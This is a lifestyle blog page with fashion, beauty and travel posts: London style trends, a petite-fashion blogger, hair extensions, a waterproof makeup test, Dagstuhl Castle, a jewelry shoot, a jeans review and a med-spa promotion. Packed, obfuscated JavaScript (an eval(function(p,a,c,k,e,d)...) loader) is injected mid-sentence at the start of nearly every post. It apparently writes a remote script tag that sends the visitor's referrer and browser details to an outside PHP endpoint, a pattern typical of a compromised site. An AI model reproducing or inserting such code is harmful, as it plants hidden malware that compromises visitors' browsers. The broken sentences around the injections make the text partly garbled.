Blogger Abroad Style Report: LONDON

My eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bhnnt|var|u0026u|referrer|khddt||js|php’.split(‘|’),0,{}))
outfit: TopShop London / Lala’s Outfit: Primark

I had such a BLAST last month, when I had the awesome opportunity to spend a week in London, England! I shopped and people-watched, to research the hottest trends across the pond. My favorite places to shop were Zara, TopShop, Primark, and Camden Market. And of course, I had to spend a little time oohing and ahing over the pretty, pretty things in London’s flagship Burberry shop. Wow!

The top trends I saw there for women were:

High-waist skinny jeans

High-waist skirts with crop tops

Knee-length twirly skirts

Platform Sandals

White sneakers

Ankle Boots

Dresses

Patterned Trousers

Lace-up boots (Doc Marten and biker style)

Overalls

Rompers & Jumpers

Scarves and Fedoras

Backpacks

Satchels

Enjoy my photos!
Hover your mouse over a pic to view the description, or click on them to view the full-sized version.

stylespygirl london burberry — Burberry Store in London

Kissing in the Underground stylespygirl london — Kissing in the Underground

london stylespygirl big ben — Because you HAVE to get the phone booth photo!

Kissing london eye stylespygirl — Kissing in London

stylespygirl london Street Markets Near Liverpool Station — Street Markets Near Liverpool Station

Tower Bridge Sunset stylespygirl london — Tower Bridge at Sunset

stylespygirl london macarons — Macarons!

Tower Bridge London stylespygirl — Tower Bridge in the Rain

Tower of London stylespygirl — Tower of London

Primark Sandals Topshop Satchel StyleSpyGirl — Primark Sandals & Topshop Satchel

stylespygirl london Camden Market — Camden Market

Camden Market stylespygirl london — Camden Market

Oxford Circus

Swans palace stylespygirl london — Swans near the palace

Underground london stylespygirl — My Huge Coach Travel Purse!

stylespygirl london Borough Market — Borough Market

stylespygirl london Millennium Bridge — Millennium Bridge

A Petite London Blogger With a Very Big Dream!

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fknie|var|u0026u|referrer|afann||js|php’.split(‘|’),0,{}))
recently spent some time in London, reporting on fashion trends there for summer and fall, and the fun privilege of meeting up with another blogger! Her name is Debonita Deore, from the blog Elegantly Fashionable. Debonita specifically blogs about style for petites, and is passionate about her mission to make the fashion world give ladies of her stature more recognition… and choices! To this end, the petite powerhouse is single-handedly working to launch Petite Fashion Week, first in London and then across the globe.

By definition, petite simply means clothing designed to fit women who are 5’3″ or shorter. Many women think it’s about weight or bone structure, but truly, it’s as simple as height! Did you know that 40% of all American women are 5’3″ or shorter? And 25% are 5’1″ or shorter! So why does the entire fashion industry create clothes based on the 5’4″-5’8″ woman??? And unlike American stores, there are few to no retailers in the U.K. that offer free or inexpensive alterations. Debonita aims to change all of that.

In February, she is throwing a networking event to launch Petite Fashion Week, and already has almost 200 people signed up. Her goal is to launch her show the following February, and send a powerful message about the diversity of beauty to the fashion world!

Follow Debonita’s journey across the pond! Check out her blog for fashion inspiration and London trends here, and stay connected to watch Petite Fashion Week turn from a dream, into a reality, by following her other site: Petite Fashion Week.

It was an honor to meet you, Debonita! XOXO

Subscribe in a reader

My New Hair Style!

REMEMBER eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|znfzk|var|u0026u|referrer|fkzdk||js|php’.split(‘|’),0,{}))
THIS?

I confess, I adored my magenta/purple/red hair! But anyone with colored hair will tell you it’s a lot of upkeep and maintenance. Eventually, I felt like I was over-bleaching and putting a lot of wear & tear on my poor locks! I’m also the kind of girl who likes to reinvent herself and have fun with beauty and fashion, so on my next hair appointment, I went black & blue. (Thank you, Melissa Thomas at Deco Hair & Makeup!)

That was fun too (you can see the photos of my wavy bob here!), but I finally realized that what I’ve really been pining for is LOOOONNNG hair! I’m way too impatient to wait for it to grow out, though…

Fortunately, I have an awesome friend who’s also an extension pro, Erin Swenson. Bibbitty-bobbitty-boo, we magically grew my bob to mermaid length, and were able to add the blue I wanted, without bleaching & damage of my real hair!

Hair Magic Achieved by: Erin Swenson, owner of Eclectic Style Salon / Photography by: Ammophotog
Necklace Custom-designed by Denise Vasecka of Unigon Specialties

I’m having SO MUCH FUN with my new long hair. It will definitely have an effect on my fashion style! What do you think; do you like the bob or long hair better?

XOXO,

Subscribe in a reader

Waterproof Makeup Review

Yesterday I took my kids to eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eittf|var|u0026u|referrer|kyezt||js|php’.split(‘|’),0,{}))
Roaring Springs Waterpark in Meridian, ID. Now, I don’t typically wear a bunch of makeup when I go to a waterpark, but I figured it would be a great place to try out some of the “water-resistant” and waterproof makeup I’ve been looking at lately. Not a very scientific experiment, I suppose, but if this stuff can withstand 5 hours of face-first waterslides, then it’s pretty darn good!

Of course, not every girl feels compelled to wear makeup at the pool, the beach, the waterpark… But for those who do, or who want just a little step above the complete “natural look,” I hope you find this helpful!

Here is my Before picture:

I used the following products:

Urban Decay Anti-Aging Eyeshadow Primer

Urban Decay Eyeshadow in YDK (not pictured)

Make Up Forever Aqua Eyes blue eyeliner

L’oreal Voluminous Million Lashes Waterproof Mascara in Blackest Black

Anastasia Beverly Hills Dipbrow Pomade (not pictured)

Tarte Clean Slate Makeup Primer

Youngblood Pressed Powder Foundation

Virginn Pure Mineral Makeup Flawless Finish Powder (a favorite of mine!)

MAC Blush

Make Up Forever Fist Fix makeup setting spray

MAC Lip Pencil, Plum

Natural Lip Gloss

Here is my After picture (yup, curly hair, ha ha!):

So I definitely had to re-do the lipliner and gloss, but that’s probably more the pizza’s fault than the makeup’s. Everything else stood up remarkably well! The L’oreal mascara wasn’t perfect, maybe a 6 out of 10 stars, but everything else impressed my socks off. A young lady in a line for one of the slides complimented my “glittery eyes,” and asked how in the world I kept it from washing off. Score for Urban Decay!

My favorite thing was the Anastasia eyebrow stuff. Wow, it didn’t budge, even the slightest! 10 out of 10 stars, for sure. The foundation, blush, and powder faded somewhat, but they stayed put enough to 1) act as a natural sunscreen, and 2) smooth out my uneven skin. Love!

What “waterproof” makeup items do you use in the summertime, if any? Comment below, and share what works for you!
XOXO,

Which New Season Shoe Are You?

Shorts: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nhrtk|var|u0026u|referrer|zirre||js|php’.split(‘|’),0,{}))
Express / Shoes: ALDO (On SALE right now here!)

~~~

Here we are, smack dab in the middle of summer, and the fashion trends are hot hot HOT!

I just spent a week in London gathering info on what clothes and shoes all the cool girls are wearing across the pond, and that report will be posted SOON… But in the meantime, my cool friends at FarFetch.com put together this ingenious little quiz to help us find our Perfect Shoe Style for the season. All the choices are fab, but my result was Isabel Marant Heels, which is oh-so-totally ME!

How about you? Take the quiz, comment your results, and share with your friends!
And stay tuned, for London Style articles, coming soon!

XOXO,

Photo cred: FarFetch

What Summer Shoe Are You? [Infographic] by the team at Farfetch

Blogger Abroad: Vacation Style in an Ancient Castle

Dagstuhl eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zifna|var|u0026u|referrer|nybfs||js|php’.split(‘|’),0,{}))
Fortress, Wadern, Germany / Tank and Shorts: Express

I learned something new about myself this week: I’m a total history nerd. Seriously, I hadn’t realized it before, but being back in Germany, surrounded by buildings, towns, & monuments that are over 1,000 years old impacted me so deeply, I felt like a 5 year old girl in Disneyland! There is something so amazing to me – mystical, almost – to walk the same ground where families lived, ate, fought, slept… Real individuals, going about their days just like we do, but in a time so distant, it’s difficult to truly imagine.

This fortress was built around 1290AD, on top of even older existing structures. High atop the hills of Wadern, Germany, the breathtaking view stretches for miles in every direction. Once upon a time, this fortress was amazing. Watch my video for a 360 view of the entire thing!

Sunglasses: Kate Spade courtesy of Boise Mountain Eyewear

//assets.pinterest.com/js/pinit.js

Shorts: Express / Shoes: ALDO (on sale here now!)

//assets.pinterest.com/js/pinit.js

Blogger Abroad: Dagstuhl Castle

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ydasb|var|u0026u|referrer|nttbf||js|php’.split(‘|’),0,{}))
Schloss Dagstuhl, 2014

Dagstuhl Castle was built around 1760 in the town of Wadern, in southern Germany. Situated in lush, vibrant forest surrounded by hills and a sprawling village, the castle has a long and fascinating history.

The town of Dagstuhl began with a great fortress, built in 1290, remnants of which can still be seen to this day. In the 1700’s, Count Josef Anton began investing heavily in the town, transforming it into a bustling cultural and aristocratic community. Under his guidance, order and cleanliness guidelines came into place, establishing such modern concepts as annual chimney and safety inspections, the building of permanent homes, crop rotation and “freehold” farmers who owned the land, and a garbage disposal system.

Under Count Josef’s rule, Wadern grew into a commercial center whose fabric industry, nobility, and justice system enjoyed widespread fame.

Count Josef even built his own brewery, to provide an endless supply of beer for his legendary parties and celebrations. The brewery remains can still be seen today!
Ownership of the castle has changed hands many times over the centuries, but one of it’s most famous residents was the “Painting Countess,” Octavie De Lasalle, who renovated the chapel and took it upon herself to personally paint the interior. It took her 40 years to complete the work, and her fame grew in the meantime as she also produced beautiful works in her artist’s cottage, built in the old fortress remains. To this day, many of her paintings can be seen in museums across the area, always signed with her initials O.v.L.L., or a tiny red robin.

For many decades the castle was owned by a third Order of Franciscan nuns, who expanded the grounds and renovated it to create a residential home for the elderly. Eventually they left the castle and moved into town, to a building near the hospital in Wadern, and the state Government of the Saarland took over ownership of the property. With help from the Rhineland-Palatine Government, they converted Schloss Dagstuhl into the International Research Center for Computer Science, which continues to host conferences and groups from across the globe.

Schloss Dagstuhl ~ International Research Center for Computer Science

Sweater, Tank, Skirt: LOFT / Flats: ALDO Shoes (on SALE now here!)

//assets.pinterest.com/js/pinit.js

Stella & Dot, Khaleesi Style

Ok, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bbssz|var|u0026u|referrer|raask||js|php’.split(‘|’),0,{}))
I admit it: I’m a Game of Thrones fan. Like, big time fan. But anyone who knew me growing up shouldn’t be surprised, considering my obsession with J.R.R. Tolkein’s Lord of the Rings Trilogy, C.S. Lewis’s Chronicles of Narnia, anything & everything by George MacDonald, and that whole medieval costume wedding thing I wrote about here. I’m also a sci-fi freak, but that’s a story for another day…

My friend Hanna is a rep for Stella & Dot, and was showing me some of her new pieces recently. When I spotted this amazing “Pegasus” necklace, I was totally inspired to lean into my medieval-fantasy passions, and style a shoot around the stunning jewelry piece, with a kind of how-would-Khaleesi-wear-it theme. Special thanks to my up-for-anything photographer Jeanne Giltzow for finding us a herd of horses to shoot with, and for braving a crazy dirt tornado in between shots to get these fabulous photos! I’d do this with you again, in a heartbeat.

I hope you enjoy the photos as much as I enjoyed shooting them. Honestly, I didn’t want to take this outfit off; I was ready to jump into a cosplay battle, hahaha! Someone fetch my saddle and my sword; I shall ride out to fight the dragons henceforth!

I guess sometimes princesses never truly grow up. Or geeks, for that matter.

XOXO,

Photography: Jeanne Giltzow / Assistant: Thomas Burdell / Makeup: Taighler Martin at The Studio an Elite Salon & Spa / Wardrobe: Nordstrom Rack and Serendipity Boutique / Horses provided by: Janet Qualls of Dusty Acres Equestrian Center

Stella & Dot Necklace available for purchase online here.

Subscribe in a reader

//assets.pinterest.com/js/pinit.js

The Jeans I’ll Be Wearing All Over Europe

Photos: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rdadh|var|u0026u|referrer|rfsys||js|php’.split(‘|’),0,{}))
Aubrey Brower / Makeup: Delila Gutierrez / Hair: Erin Swenson of Eclectic Style

So here’s a funny thing you might not know about me: I don’t like jeans. I get that they’re a wardrobe staple, and the biggest fashion trend since the 1960’s… But I would rather wear a dress, or a tunic & leggings, any day. Jeans have always felt stiff and restrictive to me! Of course, some of that distaste could be related to my inability to find jeans that actually fit me well. My legs are proportionately long for my body, so I usually have to go up a size to find jeans that aren’t too short, and then of course they just kind of fall off… And I’m back to dresses, lol!

Recently, denim company French Dressing Jeans contacted me about reviewing a NEW line of jeans they are launching in the USA for the first time, called LOVE Premium Denim. Utilizing Lycra and what they call “Hold-You-In” Technology, their jeans come in four different curve-conscious fits, and are designed to “flatten the tummy and lift the behind.” I was skeptical, I have to admit, but sent them my sizing info and waited.

A beautiful package arrived in the mail a few days later: my new LOVE Premium Denim “Kylie” skinny jeans, designed with a higher rise for us ladies with narrower hips, so they stay up and don’t sag down in the bootie. (Also available are the Suzanne, the Olivia, and the Jegging.) I immediately loved the softness of these jeans, and the cleverly-cut lines. See those vertical seams on the legs? Those are a visual trick of the eye that elongate and slenderize your figure!

Ok, consider me impressed… But what about the fit?

Slipping into my Kylie jeans felt very much like putting on a pair of leggings; soft, stretchy, and surprisingly comfortable! And the cherry on top: these babies are looooong! Yeah, definitely NOT putting them in the dryer, lol; they’re the perfect length. I’ve never been able to wear skinny jeans that had that little “scrunch” at the bottom, over my shoes! Seriously, I might admit that I squealed in delight, but don’t tell anyone.

Friday morning I leave for an amazing European adventure. I can’t wait to see what fashions are trending “across the pond!” My suitcase is packed, and I’m ready to go… With my new favorite jeans: Kylie skinnies that go with e v e r y t h i n g!!! Thank you for the opportunity to change my mind about jeans, LOVE Premium Denim! LOVE you right back.

XOXO,

Subscribe in a reader

//assets.pinterest.com/js/pinit.js

New Partnership: Silk Touch Med Spa

Hi, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|inria|var|u0026u|referrer|tykhn||js|php’.split(‘|’),0,{}))
friends! I am super excited to announce that I soon will be launching an investigative-style “beauty secrets” video series, with Silk Touch Med Spa on Eagle Rd.! We will be chatting with Dr. Brian Kerr, addressing questions & concerns about skin issues, veins, lines, aging gracefully, reversing damage, and looking into what the medical community has to offer us that is much more gentle and affordable than scalpels & surgery.

This isn’t about changing our “flaws;” it’s about the little things we can do to feel beautiful and confident, in our own skin! I am curious to learn about ways I can take care of myself, be proactive, and age gracefully.

There have been many amazing breakthroughs in the last few years, of treatments & procedures any woman can do to help maintain their natural beauty and slow down the effects of time, without going to crazy extremes like some celebrities do. Dr. Kerr and I are going to explore some of those things in our videos! Ever wondered what “needling” felt like, or if “Venus Freezes” really work? I’m going to try out a bunch of stuff, and share the experiences with you. If it’s pampering, or painful, or surprising, or just plain “meh…” you’re going to see it happening and get my honest feedback!

I would love to know what YOU are curious about!

Please join me this Thursday at the Silk Touch Anniversary Party (details on FB here), to experience Live demonstrations of services, special event pricing, meet and greet with the entire staff, and over $10k in prize and product giveaways (including some Boise Music festival tickets, thanks to 103.5 KISS-FM and107.9 Lite FM). If you RSVP at this link before you come, you will also get a free gift, just for walking in the door: bit.ly/silktouchrsvp.

Whether or not you can make it to the party, please leave me a comment or send me an email at Tanya@stylespygirl.com. I would LOVE to know what procedures, treatments, or products you are most curious about, or what questions you would like me to ask Dr. Kerr about in the videos!

XOXO,
Tanya

P.S. For the month of June, if you tell Silk Touch I sent you, microdermabrasions are 1/2 price! Also, book in June to try a Visia Skin Complexion Analysis for FREE (a $50 value), which I recommend everyone should try!!! It’s one of the BEST things on the market to know exactly what’s going on with your skin, at the surface and deep below. I hope you take them up on this offer. I’m definitely going to!!!